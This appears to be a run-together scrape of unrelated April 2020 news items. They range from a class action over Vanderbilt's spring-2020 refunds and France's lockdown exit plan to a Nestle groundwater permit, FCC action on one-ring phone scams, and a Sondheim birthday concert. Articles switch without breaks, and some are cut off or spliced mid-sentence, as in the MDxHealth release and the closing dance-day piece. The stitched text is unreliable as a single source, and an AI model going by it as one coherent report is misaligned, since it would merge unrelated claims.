Sued by Student for Lack of Reimbursement for Room and Board and Tuition after COVID-19 Outbreak A Vanderbilt freshman sued the university in a class-action lawsuit stating it violated state laws in refusing to reimburse students for room and board, tuition and other costs for its spring 2020 semester, despite closing residence halls and offering students a severely limited online learning experience, according to attorneys at Hagens Berman. If you are paying for college tuition, and/or room and board at a college or university closed due to COVID-19, find out more about the lawsuit and your rights. According to the lawsuit filed Apr. 27, 2020, in the U.S. District Court for the Middle District of Tennessee, Nashville Division, Vanderbilt University sent its students home and closed its residence halls, yet continues to charge for tuition, fees and room and board "as if nothing has changed, continuing to reap the financial benefit of millions of dollars from students." Vanderbilt students remain completely unable to continue school as normal, occupy campus buildings and dormitories, or avail themselves of school programs and events. The student bringing the lawsuit, referred to as John Doe in the complaint, was a freshman living in Vanderbilt's student residential housing. The residential campus, requiring a majority of students to live in student housing, is considered an "integral part" of the Vanderbilt education. In total, Doe paid more than $34,000 for the spring 2020 term at Vanderbilt, including tuition, meal plan and housing. In 2019, Vanderbilt made $319 million in net tuition and fees - a $20 million increase from the year before due to changes in student enrollment, credit hours and board approved increases in tuition rates, according to the lawsuit. "College students across the nation are in whiplash right now, having been told in many instances to make emergency evacuations of their dorms and residence halls as colleges have shut their doors due to COVID-19," said Steve Berman, managing partner of Hagens Berman and attorney for students in the class action. "As if the shock of sudden campus closure was not enough, students are now left with holding the bill for amenities they will not receive, often to the tune of tensof thousands of dollars." "A college or university cannot in good faith continue to collect millions of dollars from its students while failing to offer them the service they've paid for," Berman added. "We will do everything we can to hold them accountable for the parents, guardians and students left holding the bill amid a global health crisis." The online course experience is severely limited, for example, lab courses are difficult to simulate and other courses have shifted to recorded lectures allowing no interactions with professors or classmates, according to the lawsuit. The class action brings claims of breach of contract, unjust enrichment and conversion claims. The proposed class would include all students enrolled at Vanderbilt for the spring 2020 term who paid in whole or in part tuition, fees and/or room board, but were denied use of and access to in-person instruction and/or campus facilities. Vanderbilt's "Arbitrary" Penalties The lawsuit accuses Vanderbilt of only offering minimal adjustments for housing and meal plans, with arbitrary penalties based on the date students were able to vacate the student residential housing. If students were unable to leave campus before Mar. 30, 2020, Vanderbilt decided students would receive no housing or meal plan reimbursement at all for services they were not utilizing. "This tiered system based on whether students were able to vacate residence halls in an emergency circumstance with short notice almost ensures that those with less stable housing and living situations were penalized hardest," Berman said. "We don't believe anyone should be stuck with the bill, and Vanderbilt's actions have been particularly devastating to its own community." According to the suit, on Mar. 11, 2020, the suit's plaintiff was informed he should plan to leave campus no later than Mar. 15, 2020 and courses would resume online on Mar. 16, 2020. "With little notice, Plaintiff packed up his course materials and laptop and moved out of residential housing. The majority of his belongings remain in the dorms and he is unsure when he will be able to collect them," the lawsuit states. "On March 20, 2020, Plaintiff inquired regarding a refund for tuition, fees, and room and board. The same day he received a response from the Office of the Chancellor that 'all students who left campus by March 22 will receive adjustments for housing and meals.' And 'the university made the decision that tuition and fees will remain the same for the Spring 2020 term, and no tuition rates will be discounted or adjusted due to the current situation.'" Attorneys say the housing and meal plan adjustments are arbitrary, unfairly prorated, and penalize students by half of the reimbursement if they were unable to leave campus within 12 days, and completely deny reimbursement for services if students were unable to leave campus before Mar. 30, 2020. Other Affected Universities Hagens Berman is investigating the rights of those who are currently paying for room and board, and/or tuition at colleges and universities that have been forced to close due to the outbreak of COVID-19. This may include parents, guardians or college students who are paying for their own costs of college. Despite orders from colleges and universities sending home students and closing campuses, these institutions of higher learning continue to charge for tuition and room and board. Collectively, these institutions are continuing to receive millions from students despite their inability to continue school as normal, or occupy campus buildings and dorms. Find out more about the class-action lawsuit against colleges and universities for tuition, room and board and other costs incurred during the outbreak of COVID-19. About Hagens Berman Hagens Berman Sobol Shapiro LLP is a consumer-rights class-action law firm with nine offices across the country. The firm's tenacious drive for plaintiffs' rights has earned it numerous national accolades, awards and titles of "Most Feared Plaintiff's Firm," and MVPs and Trailblazers of class-action law. More about the law firm and its successes can be found at www.hbsslaw.com. Follow the firm for updates and news at @ClassActionLaw. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005890/en/ [ Back To TMCnet.com's Homepage ] A man has been arrested in connection with the murders of William Maughan and Anastasija Varslavane in 2015. Gardai attached to the Detective Unit at Ashbourne and members of the Serious Crime Review Team, Garda National Bureau Criminal Investigation arrested the man - who is an English national - as part of their investigation into the activities of an Organised Crime Grouping based in the Louth/Meath area this morning. One of the activities of this group being investigated is the murders of William Maughan and Anastasija Varslavane. The man, who is aged in his 50s, was arrested in Co Meath this morning and is currently detained under the provisions of Section 50 Criminal Justice Act 2007 at Ashbourne Garda station. He can be held for up to seven days. Willie (34) and his partner Anna (21) - who was originally from Latvia - were last seen in the Gormanston area of Co Meath on the afternoon of April 14 2015. It is feared they were abducted and murdered by a criminal gang. Gardai said the pair had been living in Gormanstown area but had planned to move to Tallaght. The couple were expecting their first child when they disappeared. The offences under investigation include the murders of William Maughan and Anastasija Varslavane in 2015, the discovery of firearms in Gormanston on January 1 and the discovery of a large quantity of ammunition in April of last year, also in the Gormanston area. Investigations are ongoing. By Richard Lough PARIS, April 28 (Reuters) - France will reveal its plans to unwind a six-week-old coronavirus lockdown on Tuesday, joining countries from Asia to the Americas looking to take advantage of falling infection rates to rescue their free-falling economies. Prime Minister Edouard Philippe faces a delicate balancing act, keen to relieve the mounting frustration of people holed up in their homes since mid-March without heightening the risk of a second wave of infections if France moves too swiftly. He will present the measures to parliament at 3 p.m. (1300 GMT), followed by a debate and vote in the early evening, with just 75 of the National Assembly's 577 lawmakers sitting in the chamber to respect social distancing rules. President Emmanuel Macron said earlier this month that a gradual loosening of the lockdown would begin on May 11, when schools and retailers would progressively reopen. Restaurants, cafes and cinemas will have to remain shut for longer, he said. "It's not possible to maintain such a lockdown," Jean-Francois Delfraissy, head of the scientific committee advising the government, told LCI television. "The main issue is ensuring the infection rate does not pick up again." The global number of confirmed infections from the world's worst pandemic in a century rose above 3 million this week. In France, the death toll passed 23,000 on Monday, the fourth highest behind the United States, Italy and Spain. But the numbers in hospital in France with COVID-19, the highly contagious lung disease caused by the new coronavirus, have fallen daily for two weeks, while the number of sufferers in intensive care has declined for 19 consecutive days. Meanwhile, the economic pain has grown with each week of lockdown. A NEW NORMAL The French economy, the euro zone's second biggest, is forecast to shrink 8% in 2020. The number seeking jobless claims rose a record 7.1% in March, while data on Tuesday showed consumer confidence suffered its sharpest ever monthly drop in April. Story continues Finance Minister Bruno Le Maire told lawmakers in mid-April the economy needed to return to a "more normal" rhythm. "I say 'more normal' because it is obvious things will be different afterwards," he said while presenting a new budget. Nearly two-thirds of the French people (62%) do not trust the government to handle the lifting of the lockdown well, an Odoxa-CGI survey published on Tuesday showed. Central to a safe unwinding of the lockdown will be a successful ramping up of face mask supplies and coronavirus testing. The government is targeting a testing capacity of 700,000 per week; last week's capacity stood at 200,000. Opposition politicians on the left and right of Macron's centrist party have accused the government of denying lawmakers adequate time to debate the end-of-lockdown measures. "Parliament has been put in political quarantine," hard-left leader Jean-Luc Melenchon wrote on Twitter. (Reporting by Richard Lough, Matthieu Protard and Leigh Thomas Editing by Mark Heinrich) NEW YORK, N.Y. -- The NYC Ferrys budget will be getting cut in the citys fiscal 2021 budget, Mayor Bill de Blasio warned Tuesday, as the city looks to see whether new fast ferry routes to St. George and Coney Island can still move forward amid financial woes during the coronavirus pandemic. The Advance reported this week that the NYC Ferry system, which serves less passengers than the Staten Island Ferry, would retain its existing funding as the Staten Island Ferrys budget was recently proposed to be cut, resulting in reduced overnight service. There will be cuts to NYC Ferry that will certainly be reflected in the next stage of the budget process its never fun to talk about any cuts, but everything that has to be cut, will be cut as we deal with more and more challenges, the mayor told reporters during a press conference Tuesday. NYC Ferry -- initially heralded as a five borough network despite no Staten Island connections -- was set to launch a new fast ferry route to and from St. George at the base of the Richmond County Bank Ballpark and Empire Outlets to Midtown Midtown Manhattan before the end of this year. NYC Ferry was also working to launch a route sometime in 2021 between Coney Island and Bay Ridge to Wall Street. However, the citys Economic Development Corporation recently said disruptions caused by the coronavirus pandemic could impact the Islands fast ferry launch date despite not having any current changes to its scheduled launch. Asked whether he thought the St. George's fast ferry route would still be able to launch in 2020 given the citys current financial uncertainty, de Blasio said the city was still trying to figure it out and would have more to say as budget negotiations continue. Were certainly trying to figure out the next stages that had been scheduled for the ferry expansion, de Blasio said. Staten Island was a piece of that, Coney Island, and the Bronx, were trying to figure out whats going to happen with that now in light of everything going on, so well have more to say on that as well in the budget process between now and June. In recent weeks, the mayor had said New York City lost between $5 billion to $10 billion during the coronavirus outbreak and would not be able to pay its bills if the federal government does not step in to help. He unveiled an $89.3 billion executive budget proposal for fiscal year 2021 earlier this month with billions in cuts, including cuts to the Staten Island Ferry. The mayors executive budget will have to be adopted before June 30 before the citys fiscal year 2020 ends. The City Council holds a number of budget hearings before a final budget is adopted in the summer. But this year, those budget hearings were temporarily suspended due to the coronavirus outbreak. The NYC Ferry system -- which launched in 2017 -- saw just 6.3 million riders in 2019, about one-fourth of the 25.2 million who rode the Staten Island Ferry in Fiscal Year 2019, according to city data. In addition to serving far fewer riders, the NYC Ferry receives much larger subsidies than other mass transit options across the city due to high operating costs and relatively-low fares. The NYC Ferry system is currently operating on a reduced schedule, with ridership down approximately 90% since Mar. 20. Riders are asked to only travel when necessary and refrain from all recreational trips. Meanwhile, the boroughs elected officials are fighting to have full overnight service on the Staten Island Ferry restored as soon as possible, urging the Department of Transportation (DOT) to re-enact full service once the city begins to reopen. FOLLOW SYDNEY KASHIWAGI ON TWITTER. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** Press release Regulated information - Inside information 28 April 2020, 7:30 a.m. CEST IRVINE, CA, and HERSTAL, BELGIUM - 27 April 2020 - MDxHealthSA (Euronext Brussels: MDXH) (the "Company" or "MDxHealth") a commercial-stage innovative molecular diagnostics company, today invites the holders of securities issued by the Company to its annual and extraordinary general shareholders' meetings that will be held on Thursday 28 May 2020 at 10:00 a.m., Belgian time. The items on the agenda of the annual and extraordinary general shareholders' meetings include the proposed approval of a number of resolutions relating to the financial year ended on 31 December 2019, as well as the renewal of the authorisation to the board of directors to increase the share capital within the framework of the authorised capital and the adoption of an amended and restated version of the articles of associations in accordance with the provisions of the Belgian Companies and Associations Code and reflecting some technical changes. Exceptionally, and in accordance with the Belgian Royal Decree no. 4 of 9 April 2020 on miscellaneous provisions relating to co-ownership and corporate and association law in the context of the fight against the COVID-19 pandemic, the board of directors of the Company has decided to hold the annual and extraordinary general shareholders' meetings behind closed doors without the physical presence of the holders of securities of the Company and their representatives. As a result, the shareholders of the Company can exercise their voting rights only by voting by mail or by means of a written proxy to the chairman of the board of directors. Furthermore, holders of securities of the Company can only exercise their right to ask questions related to the items on the respective agendas of the annual and extraordinary general shareholders' meetings by means of written questions prior to the respective meetings. For more information, please see the convening notice. In order to participate to the annual and extraordinary general shareholders' meetings of the Company, the holders of securities issued by the Company must comply with Article 7:134, 2, first indent of the Belgian Companies and Associations Code and the articles of association of the Company, and fulfill the formalities described in the convening notice. The convening notice, forms and other documents relating to the annual and extraordinary general shareholders' meetings can be consulted on the Company's website. As postal services may be disrupted due to the COVID-19 pandemic and as the deadline for the submission of voting by mail forms, proxies and written questions is a Sunday during which there is usually no ordinary postal service, the Company recommends the holders of its securities to use e-mail for all communication with the Company regarding the general shareholders' meetings. The Company's email address for such communication is: agsm@mdxhealth.com. About MDxHealth MDxHealth is a multinational healthcare company that provides actionable molecular diagnostic information to personalize the diagnosis and treatment of cancer. The Company's tests are based on proprietary genetic, epigeneticand follow us on social media at: twitter.com/mdxhealth, facebook.com/mdxhealthand linkedin.com/company/mdxhealth. For more information: MDxHealth info@mdxhealth.com (mailto:info@mdxhealth.com) Important information The MDxHealth logo, MDxHealth, ConfirmMDx and SelectMDx are trademarks or registered trademarks of MDxHealth SA (the "Company" or "MDxHealth"). All other trademarks and service marks are the property of their respective owners. This press release contains forward-looking statements and estimates with respect to the anticipated future performance of MDxHealth and the market in which it operates. Such statements and estimates are based on assumptions and assessments of known and unknown risks, uncertainties and other factors, which were deemed reasonable but may not prove to be correct. Actual events are difficult to predict, may depend upon factors that are beyond the Company's control, and may turn out to be materially different. MDxHealth expressly disclaims any obligation to update any such forward-looking statements in this release to reflect any change in its expectations with regard thereto or any change in events, conditions or circumstances on which any such statement is based unless required by law or regulation. This press release does not constitute an offer or invitation for the sale or purchase of securities or assets of MDxHealth in any jurisdiction. The securities referred to herein have not been and will not be registered under the U.S. Securities Act of 1933, as amended from time to time (the "U.S. Securities Act"), and the securities may not be offered or sold in the United States (as defined in Regulation S under the U.S. Securities Act) unless these securities are registered under the U.S. Securities Act, or an exemption from the registration requirements of the U.S. Securities Act is available. The Company and its affiliates have not registered, and do not intend to register, any portion of the securities concerned in the United States, and do not intend to conduct a public offering of securities in the United States. Attachment Not every industry is doing it tough as the coronavirus pandemic takes its toll. Its been a veritable boon for the countrys lobbyists, who have seen an influx of new clients trying their luck with various state and federal government incentives. PremierState chairman Michael Photios, a prominent Liberal Party-aligned lobbyist, even wrote to clients on Sunday telling them his outfit was on a war footing and had expanded our operating hours to a 7 day/7 night platform to meet the increased demand on our services at this challenging time. Sounds lucrative. Making it rain: Brian Tyson, Michael Photios and Joe Tannous Credit:Shakespeare PremierState, which counts among staff former Liberal MP Fiona Scott and ex-Gillard government press secretary Darrin Barnett, recently signed on the car dealership industry association and the cinema operators lobby, chaired by former Event Hospitality boss David Seargeant. Then theres Botany Bay freight terminal operator DP World, which continues to pay government fees despite its facilities sitting empty, and ridesharing app Uber. All four have signed on within the last month, according to the register of lobbyists. Over at Newgate Australia, run by Sydney Swans director Brian Tyson, things are similarly positive. The lobby shop is now explicitly spruiking COVID-19 support among its suite of services. The most significant new signings, according to the register, are Wesfarmers hardware chain Bunnings and stationery arm Officeworks. Both have lobbied governments to keep them open during the coronavirus pandemic. Projects are being offered through auction so that banks can avoid piling up debt, Photo: Le Toan Earlier this month, state-owned lender BIDV signalled that it would organise an auction to put on sale the VND4.06 trillion ($176.5 million) debt of Tai Nguyen Trading Manufacturing Construction Co., Ltd. at the Kenton Node hotel complex project, a billion-dollar urban area project in the south of Ho Chi Minh City. The asset for auction is the land use right and assets attached to the land at the Kenton Node venture located in Nha Be district. As VIR previously reported, this asset was mortgaged at three banks BIDV, MSB, and PVCombank with 58 per cent owned by BIDV. Covering an area of 10 hectares, the initiative consists of three areas (plaza, Sky Villa, and residences) with nine buildings, 16 towers, and 1,683 apartments with full utilities. Besides that, the project would also house a 5-star hotel system, 586 condotel units, and a particular highlight is set to be the theatre. The project has a total initial investment capital of $300 million. Previously, the largest state-owned lender has also sought bids for 65 apartments tied to the mortgage at The Era Town in District 7. The starting price was around VND2.1 billion ($91,000) to VND5.5 billion ($239,000) per apartment ranging from 160-368 square metres equivalent to the average price of VND15 million ($652) per square metre. Private lender Sacombank also followed suit by setting up an auction for its sour debts. A project of high-rise housing area and sport and recreation area in the Binh Tri Dong residential zone, along with a part of land, are being offered for sale at a starting price of VND6 trillion ($262 million). The bank had ramped up its efforts to sell 37 land use rights of 7.2ha in the project of residential area of the Phuoc Yen service area in the Mekong Delta province of Vinh Long, with a price of VND343.4 billion ($14.9 million). Techcombank has also put up large-scale properties for auction, such as two real estate projects in the southeastern province of Tay Ninh, worth VND1.2 billion (nearly $52,200) as of earlier this month. Vietnam Asset Management Company (VAMC), a state-owned buyer of bad loans, issued five-year special bonds in a bid to save distressed financial institutions from either bankruptcy or suffering losses. VAMC is also in charge of purchasing distressed assets and putting them up for auction. Recently, VAMC made a second announcement of selling loans backed by property of Vietnam Global Services and Trading Investment JSC that VAMC purchased from Agribank. Last August, the firm auctioned bad debts belonging to Dong Thien Phu Group JSC that it bought from Agribank for VND220.1 billion ($9.57 million). A string of Vietnamese banks are marshalling their forces to sell collateral to regain some or entire amount originally loaned to the borrowers. Banks have long held on to the vast majority of these properties, hoping an eventual economic recovery will allow the disposal of these assets at acceptable prices. But now, banks are facing new demands for liquidity that will force them to sell more property. Notwithstanding, market turmoil has thrown a monkey wrench in the works for real estate-backed loans sale. Experts have raised concerns that many real estate projects are overvalued compared to the market value, making it difficult for banks to unload them. On the other hand, the collapse in crude prices is creating mounting losses for ordinary investors, a sign that the energy crisis is starting to ripple beyond the oil patch. An addition, a gloomy economic outlook and market jitters is also preventing investors from pouring cash into risky projects. Some analysts warned that the higher asset value is, the fewer buyers would be interested. This is because of global and domestic market turbulence, despite central banks offering stimulus packages and relief measures. Investors are now becoming more risk averse, and the majority of them are flocking to safe haven assets like gold. Putting a large amount of cash into property is simply not their choice at this moment, said Pham Van Sy, director of the Property Auction Service Centre under Ho Chi Minh City Department of Justice. Thus, projects with total value above VND30 billion ($1.3 million) pale in comparison with lower-value equivalents when it comes to attracting buyers. On the flip side, foreign investors interested in sour mortgage loans, especially ones located in sensitive locations might face many difficulties. Tata Motors share price gained nearly 4% on Tuesday after the Indian auto firm said it plans to issue non-convertible debentures (NCDs) worth Rs 1,000 crore. Share price of Tata Motors rose 3.79% to Rs 78.1 compared to previous close of Rs 75.25 on BSE. It closed 2.26% higher at Rs 76.95 on BSE. The stock has gained 3.78% in two days. The stock stands higher than 5 day and 20 day moving averages but lower than 50 day, 100 day and 200 day moving averages. Market capitalisation of Tata Motors rose to Rs 27,682 crore in trade today. Total 18.62 lakh shares of the firm changed hands amounting to turnover of Rs 14.30 crore on BSE. The stock has lost 64.28% in last one year and fallen 58.43% since the beginning of this year. Tata Motors said NCDs would be issued in three tranches and a special committee of the company's board is scheduled to convene on May 5. Share Market Update: Sensex ends 371 points higher, Nifty at 9,380; IndusInd Bank, Bajaj Finance, HDFC top gainers Automakers have been witnessing liquidity deficit due to fall in demand amid the lockdown imposed due to coronavirus crisis. Tata Motors is the latest auto firm to take the debt route to raise funds since the onset of lockdown. Mahindra & Mahindra on April 21 said it allotted 10,000 unsecured redeemable non-convertible debentures (NCDs) of the face value of Rs 10 lakh each for Rs 1,000 crore on private placement basis. Apollo Tyres on April 9 said it raised Rs 500 crore via allotment of non-convertible debentures (NCDs) through private placement. Motherson Sumi Systems on April 13 said its board approved to raise up to Rs 1,000 crore to secure liquidity while dealing with the global coronavirus pandemic. Axis Bank share price rises 5% ahead of Q4 earnings LANSING, MI A state administrative judge has upheld a permit that allows global food and beverage giant Nestle to boost the amount of Michigan groundwater it extracts for sale under the Ice Mountain bottled water brand. In a decision dated April 24, Judge Dan Pulter ruled that Nestles plans to withdrawal 576,000 gallons of groundwater per day from the headwaters of two cold water trout streams in Osceola County will not negatively impact the surrounding natural resources. The ruling upholds a controversial and unpopular permit approval Nestle received just over two years ago from the Michigan Department of Environmental Quality (DEQ) under former Gov. Rick Snyder. The Michigan Citizens for Water Conservation (MCWC) and the Grand Traverse Band of Ottawa and Chippewa Indians filed a challenge to that permit approval in July 2018. Pulters decision paves the way for Nestle to increase extraction from its well near Evart, although it likely must construct new infrastructure to move additional water after a setback in a separate case halted plans to boost pressure on its existing water pipeline. Related: Michigan township wins appeal in Nestle zoning lawsuit Nestle must also satisfy watershed monitoring requirements developed by the DEQ, which was renamed the Department of Environment, Great Lakes and Energy, or EGLE, last year. MCWC and the tribe argued that EGLE erred in granting the permit because, among other reasons, it was done using modeling data rather than actual field measurements. Nestle claims its data shows the withdrawal rates are sustainable and will not harm the surrounding environment. In his decision, Pulter disagreed with estimated reductions in stream flow and fish populations put forth by MWCW and the tribes, and called the proposed extraction reasonable under common law principles of water law in Michigan. In a statement, Nestle Waters North America said it was pleased with Pulters decision. We firmly believe that the EGLEs decision to approve our permit application was appropriate, as it carefully reviewed and considered our permit application in what it called the most extensive analysis of any water withdrawal in Michigan history. Peggy Case, president of the MCWC which has opposed Nestle groundwater withdrawals in Michigan dating back to 2000 said the group is reviewing its options for next steps. It is possible MCWC or the tribe could file a complaint in circuit court or appeal to a new state environmental permit review panel created by the Republican legislature to oversee EGLE decisions. In his decision, Pulter indicated the review panel would not have authority to review the contested case and any appeal would go to EGLE director Liesl Clark. Case said her group has tried unsuccessfully to meet with Michigan Attorney General Dana Nessel and director Clark to discuss why Gov. Gretchen Whitmers administration is defending the Snyder-era decision. Nessels office defended EGLEs permitting decision in written and oral arguments. Nestle was an intervening defendant in the case. The MCWC has also filed a complaint with EGLEs environmental justice advocate. Weve heard nothing on that, Case said. No response. EGLE spokesperson Scott Dean said only that EGLE has received the Administrative Law Judges decision and will consider its proposed findings. Pulters decision comes nearly four years after Nestle submitted its initial application to increase withdrawal on its White Pine Springs Well No. 101 in Osceola Township. Nestle drilled the well in 2001 but did not begin using it for commercial extraction until 2015. At that time, it was allowed to withdrawal up to 250 gallons-per-minute (gpm). Nestle can now increase that to 400-gpm. Nestles application was revealed by MLive on Oct. 31, 2016 and subsequently generated intense public outcry. Concerns were raised about potential impacts to Muskegon River watershed and the tiny $200 annual paperwork fee Nestle pays per facility to extract millions of gallons of Michigan groundwater to sell for profit. Regulators backpedaled and put the application through a more rigorous review. Much of the broader opposition was from those upset that Nestle could source groundwater at essentially no cost while people in Flint were drinking water contaminated by bacteria and lead, and low-income residents of Detroit were having their taps shut off for non-payment. Democrats in Michigan have since moved to limit Nestles ability to distribute Michigan groundwater outside the Great Lakes basin, and House Democrats in Congress have launched an oversight probe into the bottled water industry. Jim Olson, a Traverse City environmental attorney who represented citizens in a lawsuit that resulted in a 2009 settlement limiting the amount Nestle can pump in Mecosta County, said the Whitmer administration is perpetuating errors made under Snyder. During her 2018 campaign, Whitmer criticized poor water policy in Michigan, citing Nestles ability to source water at essentially no cost. Everybody in the election knew darn well this was a major issue that needed to be corrected, Olson said. Were really no further ahead than we were before. Olson said the state owns groundwater as a sovereign for reasonable public use, but it has never asserted its authority to prohibit or allow its sale for public benefit. The failure of the legislature and the administration to assert that position is a de-facto capitulation to the continuing grab of public water by bottled water companies, both from private wells or use fee taps on public water systems, he said. Its a massive subsidy. Related stories: Why Nestle pays next to nothing for Michigan groundwater How Michigan water becomes a product inside Nestle plant In Detroit, Nestle holds private roundtable on future of water Source: Xinhua| 2020-04-28 00:24:12|Editor: huaxia Video Player Close WINDHOEK, April 27 (Xinhua) -- Namibia on Monday announced a 650 million Namibian dollars (36 million U.S. dollars) bail-out package to assist companies in tourism, construction and aviation to sustain their salaries during the ongoing lockdown. Namibian Minister of Finance Ipumbu Shiimi said the government will pump in 400 million Namibian dollars while the Social Security Commission will pump in 250 million Namibian dollars in a combined package meant to assist employees sustain jobs. Shiimi said the Namibian government is using the subsidy to make sure that the country can save the potential loss of jobs going forward. "We expect this amount to remedy job losses in the country. On the other hand we also have to put conditions that all companies that will benefit from this grant will not be allowed to retrench employees. The fund will also only assist those that earn below the tax threshold," he said. Shiimi said the grant is one among many other incentives being introduced to safeguard the economy from being heavily incapacitated by the lockdown. Social Security Commission Executive Officer Milka Mungunda said her organization is also participating in the grant to secure social security for the poor and vulnerable. Enditem Seoul, April 28 : South Korea's Unification Minister Kim Yeon-chul on Tuesday rejected unconfirmed reports of North Korean leader Kim Jong-un's health as "fake news" and "infodemic", insisting he can say confidently there have been no unusual signs in Pyongyang. Speculation about Kim's health spiked after he skipped an annual visit to the mausoleum of his grandfather Kim Il-sung on the late national founder's April 15 birth anniversary, the North's most important national holiday, reports Yonhap News Agency. Media reports have since speculated that Kim Jong-un might be seriously ill, but South Korean officials have disputed the reports, repeatedly saying there were no unusual signs found in North Korea and that the leader was believed to be staying in the country's eastern coastal town of Wonsan. "It can be seen as a phenomenon of infodemic," the Unification Minister said during a parliamentary foreign affairs committee meeting, referring to a recent deluge of unfounded rumours about the leader's heath. "We have intelligence capacity that allows us to say confidently that there are no unusual signs." In a report last week, CNN said that the US was looking into intelligence that Kim Jong-un was in "grave danger" after a surgery. That came after a report by Daily NK, a South Korea-based news outlet specializing in North Korea issues, that Kim Jong-un was receiving medical treatment outside Pyongyang following a cardiovascular procedure, said the Yonhap News Agency. The Minister during Tuesday's briefing called those reports "fake news" based on unconfirmed information. "I know that the CNN report is based on the Daily NK report, which said that (Kim Jong-un) received surgery at the Hyangsan Medical Center," he said. "That cannot make sense logically... The Hyangsan Medical Center is like a clinic, a facility incapable of performing surgery or medical procedures." He added that Kim Jong-un's apparent skipping of a visit to the Kumsusan Palace of the Sun last week can be understood in line with Pyongyang's move to scale down commemorative events amid its nationwide fight to ward off the coronavirus pandemic. Asked about whether Kim Jong-un was staying in Pyongyang, the Minister declined to comment, saying it is a matter of intelligence that cannot be disclosed. "North Korean media outlets have put out reports related to Chairman Kim's work since his attendance of a politburo meeting, suggesting he has been carrying out state affairs in a normal way," Yonhap News Agency quoted him as saying. Kim has stayed out of public view for about two weeks since he was last seen in a political bureau meeting of the ruling Workers' Party on April 11, but North Korean media outlets have reported on his daily routine schedule, according to the Minister. The official Korean Central News Agency said late Monday that Kim sent a congratulatory telegram message to the South Africa President in the latest report on the leader's management of state affairs. The Federal Communications Commission (FCC) is back at its fight against phone scams. This time, the commissions focus is on pricey one-ring scams. On Wednesday, the FCC issued a notice of proposed rulemaking in hopes of getting feedback and suggestions on how telephone service providers can block calls that are, in all likelihood, related to one-ring versions. How the one-ring scam works The wrinkle in this scam is that U.S. consumers receive a call from a foreign country. After one ring, the scammer hangs up. And, as some people are wont to do, they call the number back thinking that they may have missed something. However, in this ploy, when the consumer calls back, theyre hit with significant phone charges of which the scammer gets a share. In ConsumerAffairs deep dive into the situation, those fees could be as much as $19.95, plus a large per minute charge as high as $9 per minute. The tell-tale signs are pretty simple: most often, the FCC says the area codes that show up are from Caribbean countries, such as 649 (the Turks and Caicos) or 809 (Dominican Republic). ConsumerAffairs found similar scams linked to area codes 473 (Grenada); 876 and 658 (Jamaica); and 284 (British Virgin Islands). The FCC says theres also a slightly different version of the one-ring scam in vogue these days. In that version, the caller leaves a voicemail message with the pretext of getting the consumer to call a certain international number to schedule a delivery or some other reason that might rouse the consumers curiosity. Like herding cats The FCC says that keeping track of robocall scams is particularly difficult because the variations of the scams continue to multiply. One-ring scams are annoying and pernicious, waking up many Americans with confusing calls in the middle of the night and tricking them out of their money if they call back, said FCC Chairman Ajit Pai in a news release. With this effort, this agency shows its serious about aggressively combating this scam. I look forward to hearing from the public about their ideas for putting an end to this. And in the meantime, I urge them not to call back if they get calls like this. The FCC continues to get tough Robo scams have gotten so far out of the FCCs control that its Enforcement Bureau brought in the Federal Trade Commission (FTC) to help out. Together, the two agencies have turned up the heat on telephone gateway providers because their systems are often used by scammers to perpetrate their hustle. Earlier this month, the agencies went after gateway providers who were apparently routing and transmitting Novel Coronavirus Disease (COVID-19) scam robocall traffic. Regulators warned that the Commission would authorize other U.S. voice service providers to block all calls entering the U.S. via these gateway providers if they did not stop such traffic. The combo effort seemed to work its magic. Inside of 24 hours, the gateway providers completely stopped allowing those scam robocalls to go through. We must stay nimble, vigilant and aggressive, Commissioner Geoffrey Starks said, asking for the consumer to help by letting the FCC know when they encounter a suspected scam call. By focusing on how to promote consumer education about one-ring call scams, and how to identify (and stop) these calls as they happen, we can empower U.S. voice service providers to help us protect all Americans consumers from them. DUBAI (Reuters) - The emirate of Dubai said on Sunday it has lifted its full lockdown on two commercial districts which have a large population of low-income migrant workers, after the United Arab Emirates eased nationwide coronavirus curfews over the weekend. Dubai on Friday cut its emirate-wide 24-hour lockdown back to a 10:00 pm to 6:00 am curfew. It has now taken the same step in the Al Ras and Naif districts, which had been sealed off as part of efforts to contain the spread of the virus. The Supreme Committee of Crisis and Disaster Management took the decision since no new COVID-19 cases were recorded in the two areas in the last two days, the government media office said in a statement. It said more than 6,000 tests were conducted among Al Ras and Naif residents in less than a month. The UAE has reported more than 10,300 cases and 76 deaths resulting from the virus, the second-highest count among the six Gulf Arab countries after Saudi Arabia. It does not give breakdowns for each of the seven emirates that make up the country. The Gulf states, where expatriates make up the bulk of the labour force, have seen infections spread among low-wage foreign workers living in cramped quarters despite measures to combat the disease including the suspension of passenger flights, curfews and the closure of public spaces. Dubai, the Middle East's business hub, on Friday allowed dine-in cafes and restaurants to resume business with a maximum capacity of 30% and shopping malls to be reopened partially. Mosques, cinemas and playgrounds remain closed. (Reporting by Ghaida Ghantous; Editing by Hugh Lawson) Los Angeles, April 28 : Oscar winning-actress Meryl Streep along with actress Christine Baranski rang in composer Stephen Sondheim's 90th birthday in full style. Instead of wearing perfectly fitted dresses, the two actresses chose to sport bathrobes to perform the rendition of "The Ladies Who Lunch" during Sondheim's virtual birthday celebration "Take Me to the World: A Sondheim 90th Birthday Celebration", reports aceshowbiz.com. Streep and Baranski were joined by actress Audra McDonald, who sipped on drinks during their performance on Sondheim's musical "Company". Baranski chose to sip on a glass of red wine and Streep had a martini, McDonald drank right straight from the bottle. The event faced gamut of technical issues in the beginning. The event started late by 35 minutes when actor and host Raul Esparza randomly appeared live land was seen chatting to Sondheim without knowing he was live. Esparza once again spoke to the camera, after the first performance, but a glitch made him completely mute, which made him walking off and the live event switched off. Several Hollywood personalities took to Twitter to share their views. Actor Lin-Manuel Miranda tweeted: "Hope someone is rolling on the Noises Off production happening right now at #Sondheim90Concert. My heart hurts for Raul on the tech stuff, who has put together by all accounts an unforgettable show. I really can't wait to see it. But the WORK WAITS... #Sondheim90Concert." Actress Rachel Bloom wrote: "Someday a musical will be made based on the comments section of this Sondheim 90th Birthday concert live stream which is now 15 minutes late and counting." Dance helps in alleviating pain and is said to set your body and soul free if youre into it. International Dance Day is a worldwide celebration of dance and a way to appreciate the art form. This day was created by the International Theatre Institute (ITI), which is the primary partner for the performing arts vertical of UNESCO. Also read: International Workers Memorial Day 2020 Theme And Significance Of The Day; see here Every year, the event takes place on April 29, which also marks the birth anniversary of Jean-Georges Noverre, the creator of modern ballet. This day also engages in encouraging participation and education in dance. This is done through the events and festivals held on the day all over the world. UNESCO formally allocates ITI to be the organizer of the event. Significance 